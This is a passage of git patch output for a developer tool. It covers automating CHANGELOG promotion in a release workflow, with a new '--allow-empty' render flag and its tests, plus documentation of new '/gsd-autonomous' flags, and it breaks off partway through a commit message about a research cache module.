.changeset/zesty-quails-wave.md rename to .changeset/archived/zesty-quails-wave.md diff --git a/.changeset/zesty-ravens-rest.md b/.changeset/archived/zesty-ravens-rest.md similarity index 100% rename from .changeset/zesty-ravens-rest.md rename to .changeset/archived/zesty-ravens-rest.md diff --git a/.changeset/zesty-voles-roar.md b/.changeset/archived/zesty-voles-roar.md similarity index 100% rename from .changeset/zesty-voles-roar.md rename to .changeset/archived/zesty-voles-roar.md From afd60b809ae809595e9391ee3e9f29b7cc53f44e Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Fri, 5 Jun 2026 14:56:49 -0400 Subject: [PATCH 17/94] chore(release): wire CHANGELOG render into release finalize job (#690 follow-up) (#715) * feat(#690): wire CHANGELOG render into release finalize job CHANGELOG promotion has always been a manual operator step, which is why 1.3.0/1.3.1 shipped unpromoted (#690). PR #694 added a `verify` latch that fails a release lacking a dated heading, but nothing performed the promotion. Wire `changeset render` into the finalize job, after build/test and before the verify gate, committing the promoted CHANGELOG so it ships with the release. Add a `--allow-empty` flag to cmdRender so a zero-fragment release still emits a dated heading (with a '_No notable changes._' placeholder) instead of writing nothing and tripping the verify gate. Note: requires the changeset-archive cleanup (separate PR) to land first, so the first render consumes only genuinely-unreleased fragments. Co-Authored-By: Claude Opus 4.8 * chore(#713): set changeset pr number to 715 Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .changeset/README.md | 6 +- .changeset/wire-changelog-render.md | 6 + .github/workflows/release.yml | 18 ++ scripts/changeset/cli.cjs | 106 +++++++-- tests/changeset-cli.test.cjs | 351 ++++++++++++++++++++++++++++ 5 files changed, 472 insertions(+), 15 deletions(-) create mode 100644 .changeset/wire-changelog-render.md diff --git a/.changeset/README.md b/.changeset/README.md index 83bf9f84a..94310153f 100644 --- a/.changeset/README.md +++ b/.changeset/README.md @@ -37,11 +37,13 @@ PRs that legitimately have no user-facing impact can add the `no-changelog` labe ## At release time +Promotion is **automatic**. The release workflow's `finalize` job runs: + ```bash -node scripts/changeset/cli.cjs render --version vX.Y.Z --date YYYY-MM-DD +node scripts/changeset/cli.cjs render --version vX.Y.Z --date YYYY-MM-DD --allow-empty ``` -Reads every fragment, groups bullets by `type:`, replaces `## [Unreleased]` with a new `## [vX.Y.Z] - YYYY-MM-DD` block, opens a fresh `## [Unreleased]` above, deletes consumed fragments. Idempotent. +This reads every fragment, groups bullets by `type:`, replaces `## [Unreleased]` with a new `## [vX.Y.Z] - YYYY-MM-DD` block, opens a fresh `## [Unreleased]` above, and deletes consumed fragments. The `--allow-empty` flag ensures a no-change release still gets a dated heading (with a `_No notable changes._` placeholder). A subsequent `verify` step confirms the promotion landed correctly. Maintainers do **not** run this by hand. ## Archived fragments diff --git a/.changeset/wire-changelog-render.md b/.changeset/wire-changelog-render.md new file mode 100644 index 000000000..1f6de5765 --- /dev/null +++ b/.changeset/wire-changelog-render.md @@ -0,0 +1,6 @@ +--- +type: Changed +pr: 715 +--- +The release pipeline now automatically runs `changeset render` during the finalize job, promoting `.changeset/` fragments into a dated `CHANGELOG.md` section before publishing — previously a manual step that was routinely skipped (leaving v1.3.0 and v1.3.1 unpromoted, #690). A new `--allow-empty` flag prevents the verify gate from hard-failing on no-change releases by emitting a dated heading with a `_No notable changes._` placeholder when there are zero fragments. + diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index f0dd401dc..bc2494f99 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -495,6 +495,24 @@ jobs: node scripts/check-npm-integrity.cjs npm run test:coverage:unit + - name: Promote CHANGELOG (render fragments) + env: + VERSION: ${{ inputs.version }} + run: | + node scripts/changeset/cli.cjs render \ + --version "$VERSION" --date "$(date -u +%F)" --allow-empty + git add -A .changeset CHANGELOG.md + # Diff-preview guard: surface exactly what was promoted, in the log and + # the job summary, before the commit lands. + { + echo "### CHANGELOG promotion for v${VERSION}" + echo '```diff' + git diff --cached -- CHANGELOG.md + echo '```' + } >> "${GITHUB_STEP_SUMMARY:-/dev/null}" + git --no-pager diff --cached -- CHANGELOG.md + git diff --cached --quiet || git commit -m "chore: promote CHANGELOG for v${VERSION}" + - name: Verify CHANGELOG promoted env: VERSION: ${{ inputs.version }} diff --git a/scripts/changeset/cli.cjs b/scripts/changeset/cli.cjs index 097e06a04..5875b0c9d 100755 --- a/scripts/changeset/cli.cjs +++ b/scripts/changeset/cli.cjs @@ -40,6 +40,7 @@ function parseArgs(argv) { repoSlug: defaultRepoSlug, installCommand: `npx ${packageName}@latest`, json: false, + allowEmpty: false, }; if (argv.length === 0) return { ok: true, opts }; opts.cmd = argv[0]; @@ -59,6 +60,7 @@ function parseArgs(argv) { for (let i = 1; i < argv.length; i++) { const a = argv[i]; if (a === '--json') { opts.json = true; continue; } + if (a === '--allow-empty') { opts.allowEmpty = true; continue; } if ( a === '--repo' || a === '--version' || @@ -118,6 +120,18 @@ function splitChangelog(text) { return { lead, prior }; } +// FIX 2: tiny local helper so both render paths share identical assembly logic. +function assembleChangelog(lead, releaseBlock) { + return [ + lead || '# Changelog', + '', + '## [Unreleased]', + '', + releaseBlock.replace(/\s+$/, ''), + '', + ].join('\n'); +} + function cmdRender(opts) { const repo = path.resolve(opts.repo); const changesetDir = path.join(repo, '.changeset'); @@ -133,14 +147,83 @@ function cmdRender(opts) { else failures.push({ file: path.relative(repo, file), reason: r.reason, detail: r.detail || null }); } + // 1. parse-failure → exitCode 1 (unchanged). if (failures.length > 0) { return { exitCode: 1, report: { consumed: 0, failures } }; } - if (fragments.length === 0) { - return { exitCode: 0, report: { consumed: 0, failures: [] } }; + + // 2. Read priorText once; reuse in all subsequent branches. + const priorText = fs.existsSync(changelogPath) ? fs.readFileSync(changelogPath, 'utf8') : ''; + + // 3. FIX 1: idempotency guard — if the version is already promoted (a dated + // release heading for this version already exists in CHANGELOG), split on + // whether fragments are still present: + // • alreadyPromoted + zero fragments → legitimate CI-retry no-op (the prior + // render commit already deleted fragments and wrote the heading). + // • alreadyPromoted + fragments present → inconsistent state: the heading + // was written out-of-band but fragments were never consumed. Fail loudly + // so the operator resolves it manually rather than silently leaving stale + // fragments to be re-consumed in a later release. + const version = stripV(opts.version); + const { releases: existingReleases } = parseChangelog(priorText); + const alreadyPromoted = existingReleases.some( + (rel) => rel.version === version && rel.date, + ); + if (alreadyPromoted) { + if (fragments.length === 0) { + return { exitCode: 0, report: { consumed: 0, failures: [], alreadyPromoted: true } }; + } + const errMsg = + `CHANGELOG.md already has a dated heading for ${version} but ` + + `${fragments.length} unconsumed fragment(s) remain in .changeset/ — ` + + `resolve manually (the version was likely promoted out-of-band).`; + return { + exitCode: 1, + report: { consumed: 0, failures: [], alreadyPromoted: true, error: errMsg }, + }; } - const priorText = fs.existsSync(changelogPath) ? fs.readFileSync(changelogPath, 'utf8') : ''; + // 4. Zero-fragment + !allowEmpty early-exit: write nothing. + if (fragments.length === 0) { + if (!opts.allowEmpty) { + return { exitCode: 0, report: { consumed: 0, failures: [] } }; + } + // --allow-empty: emit a dated heading with a placeholder even though there + // are no fragments. This lets the render→verify CI chain succeed when a + // release contains no user-visible changes. + const { lead, prior } = splitChangelog(priorText); + // Build a header-only release block and inject the placeholder line. + const ir = renderChangelog({ + fragments: [], + version: opts.version, + date: opts.date, + priorChangelog: prior || null, + }); + const headerOnlyBlock = serializeChangelog(ir); + // Insert placeholder after the release header line. + // serializeChangelog with no sections yields just "## [v] - d\n" (single + // trailing newline, no blank line). We replace that trailing newline with + // a blank line + placeholder + blank line so parseChangelog still sees the + // dated heading first and the file is human-readable. + const releaseBlock = headerOnlyBlock.replace( + /^(##\s+\[[^\]]+\][^\n]*)\n+/, + '$1\n\n_No notable changes._\n\n', + ); + // FIX 2: use shared assembleChangelog helper. + const out = assembleChangelog(lead, releaseBlock); + fs.writeFileSync(changelogPath, out); + return { + exitCode: 0, + report: { + consumed: 0, + failures: [], + written: true, + release: { version: opts.version, date: opts.date }, + }, + }; + } + + // 5. Normal render path: fragments present — reuse priorText already read above. const { lead, prior } = splitChangelog(priorText); const ir = renderChangelog({ @@ -150,14 +233,8 @@ function cmdRender(opts) { priorChangelog: prior || null, }); const releaseBlock = serializeChangelog(ir); - const out = [ - lead || '# Changelog', - '', - '## [Unreleased]', - '', - releaseBlock.replace(/\s+$/, ''), - '', - ].join('\n'); + // FIX 2: use shared assembleChangelog helper. + const out = assembleChangelog(lead, releaseBlock); fs.writeFileSync(changelogPath, out); @@ -382,7 +459,7 @@ function cmdGithubReleaseNotes(opts) { function usage() { return [ 'usage:', - ' changeset/cli.cjs render --repo --version V --date D [--json]', + ' changeset/cli.cjs render --repo --version V --date D [--allow-empty] [--json]', ' changeset/cli.cjs github-release-notes --repo --from REF --to REF [--output FILE] [--repo-slug OWNER/REPO] [--install-command CMD] [--json]', ' changeset/cli.cjs extract --from VERSION --to VERSION [--changelog FILE] [--repo ] [--json]', ' Extracts changelog entries strictly after --from (exclusive) and up to', @@ -453,6 +530,9 @@ function main() { } else if (opts.cmd === 'github-release-notes' && report.body) { process.stdout.write(report.body); } else { + if (report.error) { + process.stderr.write(`${report.error}\n`); + } process.stdout.write(`Consumed: ${report.consumed} fragment(s)\n`); if (report.failures.length > 0) { process.stdout.write(`Failures: ${report.failures.length}\n`); @@ -466,4 +546,4 @@ function main() { if (require.main === module) main(); -module.exports = { cmdRender, cmdExtract, cmdVerify, cmdGithubReleaseNotes, parseArgs, splitChangelog, listFragmentFiles, usage }; +module.exports = { cmdRender, cmdExtract, cmdVerify, cmdGithubReleaseNotes, parseArgs, splitChangelog, assembleChangelog, listFragmentFiles, usage }; diff --git a/tests/changeset-cli.test.cjs b/tests/changeset-cli.test.cjs index 0e777eb2a..852354122 100644 --- a/tests/changeset-cli.test.cjs +++ b/tests/changeset-cli.test.cjs @@ -577,3 +577,354 @@ describe('changeset cli verify subcommand (not yet implemented — TDD red step) assert.equal(r.status, 1, `expected exit 1 for pre-release version; stderr=${r.stderr}`); }); }); + +// --------------------------------------------------------------------------- +// GROUP C — render --allow-empty +// --------------------------------------------------------------------------- + +describe('changeset cli render --allow-empty', () => { + // Helper: run render for a specific test-local tmp directory. + function runRenderIn(dir, args = []) { + const r = cp.spawnSync( + process.execPath, + [SCRIPT, 'render', '--repo', dir, ...args, '--json'], + { encoding: 'utf8' }, + ); + return { + status: r.status, + report: r.stdout && r.stdout.length ? JSON.parse(r.stdout) : null, + stderr: r.stderr || '', + }; + } + + function runVerifyIn(dir, version) { + const changelogPath = path.join(dir, 'CHANGELOG.md'); + const r = cp.spawnSync( + process.execPath, + [SCRIPT, 'verify', '--version', version, '--changelog', changelogPath], + { encoding: 'utf8' }, + ); + return { status: r.status, stdout: r.stdout || '', stderr: r.stderr || '' }; + } + + // Test 1: --allow-empty with zero fragments writes a dated heading + + // placeholder, and subsequent verify exits 0. + test('--allow-empty with zero fragments writes dated heading + placeholder; verify exits 0', () => { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-ae-')); + try { + fs.mkdirSync(path.join(dir, '.changeset'), { recursive: true }); + // Only a README — no fragment files. + fs.writeFileSync( + path.join(dir, '.changeset', 'README.md'), + '# Changesets\n\nThis folder holds changeset fragments.\n', + ); + fs.writeFileSync( + path.join(dir, 'CHANGELOG.md'), + '# Changelog\n\n## [Unreleased]\n', + ); + + const r = runRenderIn(dir, ['--version', '9.9.9', '--date', '2026-06-05', '--allow-empty']); + assert.equal(r.status, 0, `render exited non-zero; stderr=${r.stderr}`); + assert.equal(r.report.consumed, 0, 'consumed must be 0 for empty run'); + assert.equal(r.report.failures.length, 0, 'no failures expected'); + assert.strictEqual(r.report.written, true, 'report.written must be true'); + + // The CHANGELOG must now contain a dated heading for 9.9.9. + const text = fs.readFileSync(path.join(dir, 'CHANGELOG.md'), 'utf8'); + const parsed = parseChangelog(text); + const rel = parsed.releases.find((r) => r.version === '9.9.9'); + assert.ok(rel, 'release 9.9.9 must appear in CHANGELOG after --allow-empty render'); + assert.equal(rel.date, '2026-06-05', 'release date must be 2026-06-05'); + + // The placeholder line must be present in the raw text. + assert.ok( + text.includes('_No notable changes._'), + 'CHANGELOG must contain _No notable changes._ placeholder', + ); + + // verify must exit 0 for this version. + const vr = runVerifyIn(dir, '9.9.9'); + assert.equal(vr.status, 0, `verify must exit 0 after --allow-empty render; stderr=${vr.stderr}`); + } finally { + cleanup(dir); + } + }); + + // Test 2: render WITHOUT --allow-empty and zero fragments early-exits — + // CHANGELOG is not created / not modified. Regression lock. + test('render without --allow-empty and zero fragments does NOT write CHANGELOG', () => { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-ae-')); + try { + fs.mkdirSync(path.join(dir, '.changeset'), { recursive: true }); + // No fragment files, only README. + fs.writeFileSync( + path.join(dir, '.changeset', 'README.md'), + '# Changesets\n', + ); + // Write a known CHANGELOG so we can verify it is unchanged. + const originalChangelog = '# Changelog\n\n## [Unreleased]\n'; + fs.writeFileSync(path.join(dir, 'CHANGELOG.md'), originalChangelog); + + const r = runRenderIn(dir, ['--version', '9.9.8', '--date', '2026-06-05']); + assert.equal(r.status, 0, `render without --allow-empty exited non-zero; stderr=${r.stderr}`); + assert.equal(r.report.consumed, 0, 'consumed must be 0'); + assert.equal(r.report.failures.length, 0, 'no failures expected'); + // report.written must NOT be set (undefined or absent). + assert.ok( + r.report.written === undefined || r.report.written === null || r.report.written === false, + 'report.written must not be true in the no-op path', + ); + + // CHANGELOG must be byte-identical to the original. + const text = fs.readFileSync(path.join(dir, 'CHANGELOG.md'), 'utf8'); + assert.equal(text, originalChangelog, 'CHANGELOG must be unchanged when no fragments and no --allow-empty'); + } finally { + cleanup(dir); + } + }); + + // Test 3: render WITH fragments + --allow-empty behaves exactly like normal + // render (consumes/deletes fragments, NO placeholder injected). + test('render --allow-empty with fragments behaves like normal render (no placeholder)', () => { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-ae-')); + try { + fs.mkdirSync(path.join(dir, '.changeset'), { recursive: true }); + fs.writeFileSync( + path.join(dir, '.changeset', 'fix-one.md'), + '---\ntype: Fixed\npr: 200\n---\nFragment-driven fix.\n', + ); + fs.writeFileSync( + path.join(dir, 'CHANGELOG.md'), + '# Changelog\n\n## [Unreleased]\n', + ); + + const r = runRenderIn(dir, ['--version', '9.9.7', '--date', '2026-06-05', '--allow-empty']); + assert.equal(r.status, 0, `render with fragments exited non-zero; stderr=${r.stderr}`); + assert.equal(r.report.consumed, 1, 'one fragment must be consumed'); + assert.equal(r.report.failures.length, 0, 'no failures expected'); + + const text = fs.readFileSync(path.join(dir, 'CHANGELOG.md'), 'utf8'); + // Placeholder must NOT appear when there are real fragments. + assert.ok( + !text.includes('_No notable changes._'), + 'placeholder must NOT appear when fragments were consumed', + ); + // The fragment bullet must be present. + const parsed = parseChangelog(text); + const rel = parsed.releases.find((r) => r.version === '9.9.7'); + assert.ok(rel, 'release 9.9.7 must appear in CHANGELOG'); + assert.equal(rel.date, '2026-06-05', 'release date must be 2026-06-05'); + const prs = rel.sections.flatMap((s) => s.bullets.map((b) => b.pr)); + assert.ok(prs.includes(200), 'pr=200 bullet must be present in the release'); + + // Fragment file must be deleted. + const remaining = fs.readdirSync(path.join(dir, '.changeset')) + .filter((f) => f.endsWith('.md') && f !== 'README.md'); + assert.deepEqual(remaining, [], 'fragment must be deleted after consumption'); + + // verify must exit 0. + const vr = runVerifyIn(dir, '9.9.7'); + assert.equal(vr.status, 0, `verify must exit 0 after render with fragments; stderr=${vr.stderr}`); + } finally { + cleanup(dir); + } + }); + + // Test 4 (idempotency): after a fragmentful render, a second render + // --allow-empty for the SAME version is now a NO-OP (FIX 1 guard). It must + // NOT add a second heading, must exit 0, and must report alreadyPromoted:true. + test('idempotency: second --allow-empty render for same version is a no-op (no duplicate heading)', () => { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-ae-')); + try { + fs.mkdirSync(path.join(dir, '.changeset'), { recursive: true }); + fs.writeFileSync( + path.join(dir, '.changeset', 'fix-two.md'), + '---\ntype: Fixed\npr: 300\n---\nIdempotency test fix.\n', + ); + fs.writeFileSync( + path.join(dir, 'CHANGELOG.md'), + '# Changelog\n\n## [Unreleased]\n', + ); + + // First render: with a fragment. + const r1 = runRenderIn(dir, ['--version', '9.9.6', '--date', '2026-06-05']); + assert.equal(r1.status, 0, `first render exited non-zero; stderr=${r1.stderr}`); + assert.equal(r1.report.consumed, 1, 'first render must consume 1 fragment'); + + // verify after first render must succeed. + const vr1 = runVerifyIn(dir, '9.9.6'); + assert.equal(vr1.status, 0, `verify after first render must exit 0; stderr=${vr1.stderr}`); + + // Second render --allow-empty: zero fragments now, same version. + // This is now a NO-OP due to the already-promoted guard (FIX 1). + const r2 = runRenderIn(dir, ['--version', '9.9.6', '--date', '2026-06-05', '--allow-empty']); + assert.equal(r2.status, 0, `second render exited non-zero; stderr=${r2.stderr}`); + assert.equal(r2.report.consumed, 0, 'second render must consume 0 fragments'); + assert.strictEqual(r2.report.alreadyPromoted, true, 'second render must report alreadyPromoted:true'); + + // Exactly ONE ## [9.9.6] heading must be present — no duplicate. + const text = fs.readFileSync(path.join(dir, 'CHANGELOG.md'), 'utf8'); + const parsed = parseChangelog(text); + const all996 = parsed.releases.filter((r) => r.version === '9.9.6'); + assert.equal( + all996.length, 1, + `exactly one 9.9.6 heading must be present after two renders; found ${all996.length}`, + ); + + // verify must still exit 0. + const vr2 = runVerifyIn(dir, '9.9.6'); + assert.equal(vr2.status, 0, `verify after second render must still exit 0; stderr=${vr2.stderr}`); + } finally { + cleanup(dir); + } + }); + + // Test 4b (stale fragments): alreadyPromoted + fragments present → render exits + // NON-ZERO, CHANGELOG is NOT modified, and the fragment file is NOT deleted. + // This guards the inconsistent-state scenario identified in the adversarial review: + // a manual/partial promotion wrote the heading but left fragments unconsumed. + test('alreadyPromoted + fragments present: exits non-zero, CHANGELOG unchanged, fragment survives', () => { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-ae-')); + try { + fs.mkdirSync(path.join(dir, '.changeset'), { recursive: true }); + + // CHANGELOG already has a dated heading for 3.3.3 (out-of-band promotion). + const originalChangelog = [ + '# Changelog', + '', + '## [Unreleased]', + '', + '## [3.3.3] - 2026-01-01', + '', + '### Fixed', + '', + '- x (#1)', + '', + ].join('\n'); + fs.writeFileSync(path.join(dir, 'CHANGELOG.md'), originalChangelog); + + // A fragment file is still present — unconsumed. + const fragmentPath = path.join(dir, '.changeset', 'leftover.md'); + fs.writeFileSync(fragmentPath, '---\ntype: Fixed\npr: 9\n---\nleftover fragment\n'); + + // Run render for the same version. + const r = runRenderIn(dir, ['--version', '3.3.3', '--date', '2026-06-05', '--allow-empty']); + + // Must exit non-zero. + assert.notEqual(r.status, 0, `expected non-zero exit for alreadyPromoted+fragments; got ${r.status}`); + + // report.alreadyPromoted must be true and report.error must be present. + assert.strictEqual(r.report.alreadyPromoted, true, 'report.alreadyPromoted must be true'); + assert.ok(typeof r.report.error === 'string' && r.report.error.length > 0, 'report.error must be a non-empty string'); + assert.ok(r.report.error.includes('3.3.3'), 'report.error must mention the version'); + + // Fragment file must still exist — render must NOT have deleted it. + assert.ok(fs.existsSync(fragmentPath), 'leftover fragment must still exist after non-zero exit'); + + // CHANGELOG must be byte-identical to the original — render must NOT have modified it. + const text = fs.readFileSync(path.join(dir, 'CHANGELOG.md'), 'utf8'); + assert.equal(text, originalChangelog, 'CHANGELOG must be unchanged'); + + // Exactly one ## [3.3.3] heading must be present (no duplicate added). + const parsed = parseChangelog(text); + const all333 = parsed.releases.filter((rel) => rel.version === '3.3.3'); + assert.equal(all333.length, 1, `exactly one 3.3.3 heading must be present; found ${all333.length}`); + } finally { + cleanup(dir); + } + }); + + // Test 5 (cold start): --allow-empty when CHANGELOG.md does NOT exist creates + // the file with # Changelog, ## [Unreleased], and a dated release with placeholder. + test('--allow-empty cold start (no CHANGELOG.md) creates file with expected structure', () => { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-ae-')); + try { + fs.mkdirSync(path.join(dir, '.changeset'), { recursive: true }); + // No CHANGELOG.md, no fragments. + + const r = runRenderIn(dir, ['--version', '8.8.8', '--date', '2026-06-05', '--allow-empty']); + assert.equal(r.status, 0, `render exited non-zero; stderr=${r.stderr}`); + assert.equal(r.report.consumed, 0, 'consumed must be 0'); + assert.strictEqual(r.report.written, true, 'report.written must be true'); + + const changelogPath = path.join(dir, 'CHANGELOG.md'); + assert.ok(fs.existsSync(changelogPath), 'CHANGELOG.md must be created'); + + const text = fs.readFileSync(changelogPath, 'utf8'); + // Must contain a top-level heading. + assert.ok(text.includes('# Changelog'), 'must contain # Changelog heading'); + // Must contain an ## [Unreleased] block. + assert.ok(text.includes('## [Unreleased]'), 'must contain ## [Unreleased] block'); + // Must contain a dated release heading for 8.8.8. + assert.ok(text.includes('## [8.8.8] - 2026-06-05'), 'must contain dated release heading for 8.8.8'); + // Must contain the placeholder. + assert.ok(text.includes('_No notable changes._'), 'must contain _No notable changes._ placeholder'); + + // parseChangelog must see the release with the correct date. + const parsed = parseChangelog(text); + const rel = parsed.releases.find((r) => r.version === '8.8.8'); + assert.ok(rel, 'release 8.8.8 must appear in parsed CHANGELOG'); + assert.equal(rel.date, '2026-06-05', 'release date must be 2026-06-05'); + + // verify must exit 0. + const vr = runVerifyIn(dir, '8.8.8'); + assert.equal(vr.status, 0, `verify must exit 0 after cold-start --allow-empty render; stderr=${vr.stderr}`); + } finally { + cleanup(dir); + } + }); + + // Test 6: --allow-empty (zero fragments) on a CHANGELOG that already has a + // prior dated release PRESERVES that prior release in the output. + test('--allow-empty preserves prior dated release below new section', () => { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-ae-')); + try { + fs.mkdirSync(path.join(dir, '.changeset'), { recursive: true }); + // Pre-existing CHANGELOG with a prior dated release. + const priorChangelog = [ + '# Changelog', + '', + '## [Unreleased]', + '', + '## [1.0.0] - 2026-01-01', + '', + '### Fixed', + '', + '- Old fix. (#1)', + '', + ].join('\n'); + fs.writeFileSync(path.join(dir, 'CHANGELOG.md'), priorChangelog); + + const r = runRenderIn(dir, ['--version', '2.0.0', '--date', '2026-06-05', '--allow-empty']); + assert.equal(r.status, 0, `render exited non-zero; stderr=${r.stderr}`); + assert.equal(r.report.consumed, 0, 'consumed must be 0'); + assert.strictEqual(r.report.written, true, 'report.written must be true'); + + const text = fs.readFileSync(path.join(dir, 'CHANGELOG.md'), 'utf8'); + + // New release must appear. + assert.ok(text.includes('## [2.0.0]'), 'new 2.0.0 heading must be present'); + assert.ok(text.includes('_No notable changes._'), 'placeholder must be present'); + + // Prior release must survive. + assert.ok(text.includes('## [1.0.0] - 2026-01-01'), 'prior 1.0.0 heading must be preserved'); + assert.ok(text.includes('- Old fix. (#1)'), 'prior release bullet must be preserved'); + + // Parse and assert both releases are present. + const parsed = parseChangelog(text); + const rel200 = parsed.releases.find((r) => r.version === '2.0.0'); + assert.ok(rel200, '2.0.0 must appear in parsed CHANGELOG'); + assert.equal(rel200.date, '2026-06-05', '2.0.0 date must be 2026-06-05'); + const rel100 = parsed.releases.find((r) => r.version === '1.0.0'); + assert.ok(rel100, '1.0.0 must still appear in parsed CHANGELOG'); + assert.equal(rel100.date, '2026-01-01', '1.0.0 date must be preserved'); + assert.equal(rel100.sections[0].bullets[0].pr, 1, 'pr=1 bullet in 1.0.0 must be preserved'); + + // verify for the new version must exit 0. + const vr = runVerifyIn(dir, '2.0.0'); + assert.equal(vr.status, 0, `verify must exit 0 after --allow-empty on existing CHANGELOG; stderr=${vr.stderr}`); + } finally { + cleanup(dir); + } + }); +}); From b44e16a47af0126b8ec08d7572eb2824e05f4dd8 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Fri, 5 Jun 2026 17:43:19 -0400 Subject: [PATCH 18/94] docs: document --only and --text flags for /gsd-autonomous (#695) (#716) Adds --only N and --text to the COMMANDS.md reference table and the run-phases-autonomously how-to guide, revised to fit the Diataxis framework (reference: factual/parallel rows; how-to: goal-framed sections). --- docs/COMMANDS.md | 4 ++++ docs/how-to/run-phases-autonomously.md | 27 +++++++++++++++++++++++++- 2 files changed, 30 insertions(+), 1 deletion(-) diff --git a/docs/COMMANDS.md b/docs/COMMANDS.md index f9d337f78..0d71fa243 100644 --- a/docs/COMMANDS.md +++ b/docs/COMMANDS.md @@ -713,13 +713,17 @@ Run all remaining phases autonomously. |------|-------------| | `--from N` | Start from a specific phase number | | `--to N` | Stop after completing a specific phase number | +| `--only N` | Restrict execution to phase N; lifecycle step is skipped | | `--interactive` | Lean context with user input | +| `--text` | Replace `AskUserQuestion` prompts with plain numbered lists | ```bash /gsd-autonomous # Run all remaining phases /gsd-autonomous --from 3 # Start from phase 3 /gsd-autonomous --to 5 # Run up to and including phase 5 /gsd-autonomous --from 3 --to 5 # Run phases 3 through 5 +/gsd-autonomous --only 4 # Run only phase 4 +/gsd-autonomous --text # Run with text-mode prompts ``` ### `/gsd-debug` diff --git a/docs/how-to/run-phases-autonomously.md b/docs/how-to/run-phases-autonomously.md index ebd0bd428..ecfb99662 100644 --- a/docs/how-to/run-phases-autonomously.md +++ b/docs/how-to/run-phases-autonomously.md @@ -42,6 +42,18 @@ Resume with: /gsd-autonomous --from 6 --- +## Run a single phase + +To run exactly one phase without triggering the milestone lifecycle, use `--only N`: + +```bash +/gsd-autonomous --only 4 +``` + +If the phase is already complete, autonomous mode exits immediately with a message rather than re-running it. + +--- + ## Run with interactive discuss By default, autonomous mode answers discuss questions automatically using smart discuss (batch table proposals). If you want to answer design questions yourself while keeping plan and execute out of the main context: @@ -57,6 +69,19 @@ In interactive mode: --- +## Run on a non-Claude runtime + +To run autonomously on a runtime that does not support the `AskUserQuestion` tool (for example Codex CLI or Gemini CLI), add `--text`: + +```bash +/gsd-autonomous --text +/gsd-autonomous --from 3 --text +``` + +All interactive prompts become plain numbered lists; type the choice number to respond. + +--- + ## What safety gates still apply Autonomous mode does not bypass GSD's quality pipeline. Each phase still: @@ -78,7 +103,7 @@ Do not use `/gsd-autonomous` when: - **Phases have unsettled design decisions.** If you have not run `/gsd-discuss-phase` and your `PROJECT.md` does not capture your preferences, smart discuss will make autonomous choices you may not agree with. Run discuss interactively first, or use `--interactive`. -- **You need fine-grained control over a single phase.** For one phase, `/gsd-execute-phase N` gives you step-by-step output and lets you react before continuing. Autonomous mode is designed for bulk unattended runs. +- **You need fine-grained control over a single phase.** For one phase, `/gsd-execute-phase N` gives you step-by-step output and lets you react before continuing. Use `--only N` if you want the autonomous quality pipeline on a single phase but do not need step-by-step interaction. - **The phase has novel or high-risk work.** Autonomous mode skips pauses unless it hits a blocker. On a phase where you expect surprises, stay in the loop with manual execution. From 11afca29684a673b039756eefd4bcb8b41b43650 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Fri, 5 Jun 2026 17:58:48 -0400 Subject: [PATCH 19/94] =?UTF-8?q?feat(#656):=20Research=20module=20?= =?UTF-8?q?=E2=80=94=20content-addressed=20cache=20+=20provider=20seam=20+?= =?UTF-8?q?=20registry-API=20legitimacy=20(#664)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(#656): add Research Store module (content-addressed cache, TTL staleness) Content-addressed research cache behind a clock seam: researchKey (sha256, deterministic), putResearch/getResearch ({hit,stale}, never throws), ttlForSource (curated HIGH 30d / MED 7d / web LOW 1d), two-tier resolveStorePath (curated -> ~/.gsd/research-cache, web/synthesis -> project .planning/research/.cache). 28 behavioral + property tests; boundary coverage at ttl-1/ttl/ttl+1. Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) * feat(#656): add Research Provider module (waterfall + confidence + plan) Single source of truth for the Balanced provider waterfall (docs Context7->Ref->Jina, web Exa+Tavily, fallback Perplexity/Brave, Firecrawl scrape-only). classifyConfidence stamps HIGH|MEDIUM|LOW by provider (never throws). providerAvailability maps config flags to usable providers. planResearch checks the Research Store (injected seam) and returns cache-hits + a per-question fetch plan, falling through the waterfall to the always-available websearch terminal. 22 behavioral + property tests. Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) * feat(#656): add Package Legitimacy module (registry-API verdicts, slopcheck optional) Replaces the pip-install-or-degrade slopcheck prose gate with code: classifyPackage (pure, never throws) computes OK|SUS|SLOP from tunable thresholds (minAgeDays 30, minWeeklyDownloads 1000, requireRepo). checkPackages queries injectable npm/PyPI/crates registry adapters (real https with 5s timeout, degraded-not-thrown on failure); slopcheck is one optional adapter that can only escalate severity, never degrade to [ASSUMED]. 34 behavioral + property tests; boundary coverage on age and downloads (limit-1/limit/limit+1). Known follow-up: real npm adapter must add api.npmjs.org last-week downloads fetch (currently null -> unknown-downloads). Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) * feat(#656): detect Tavily/Ref/Perplexity/Jina provider keys; complete npm downloads adapter config: add tavily_search/ref_search/perplexity/jina availability flags (env var or ~/.gsd/_api_key), mirroring brave_search/exa_search/firecrawl, so the Research Provider waterfall can gate them. package-legitimacy: real npm adapter now fetches api.npmjs.org last-week downloads (bounded, degraded-not-thrown) so weeklyDownloads is populated. +12 config tests; 34 legitimacy tests unchanged. Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) * feat(#656): expose Research seam via gsd-tools query (research-plan, research-store, package-legitimacy) Routes the L2-hybrid surface so agents reach it as CLI: 'query research-store get/put' (cache, HOME-sandboxable), 'query research-plan --input' (cache-hits + fetch plan from planResearch), 'query package-legitimacy check --ecosystem' (async registry verdicts). Commands skip .planning root resolution and appear in top-level usage. 5 behavioral runGsdTools tests; command-contract unchanged (335). Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) * docs(#656): document 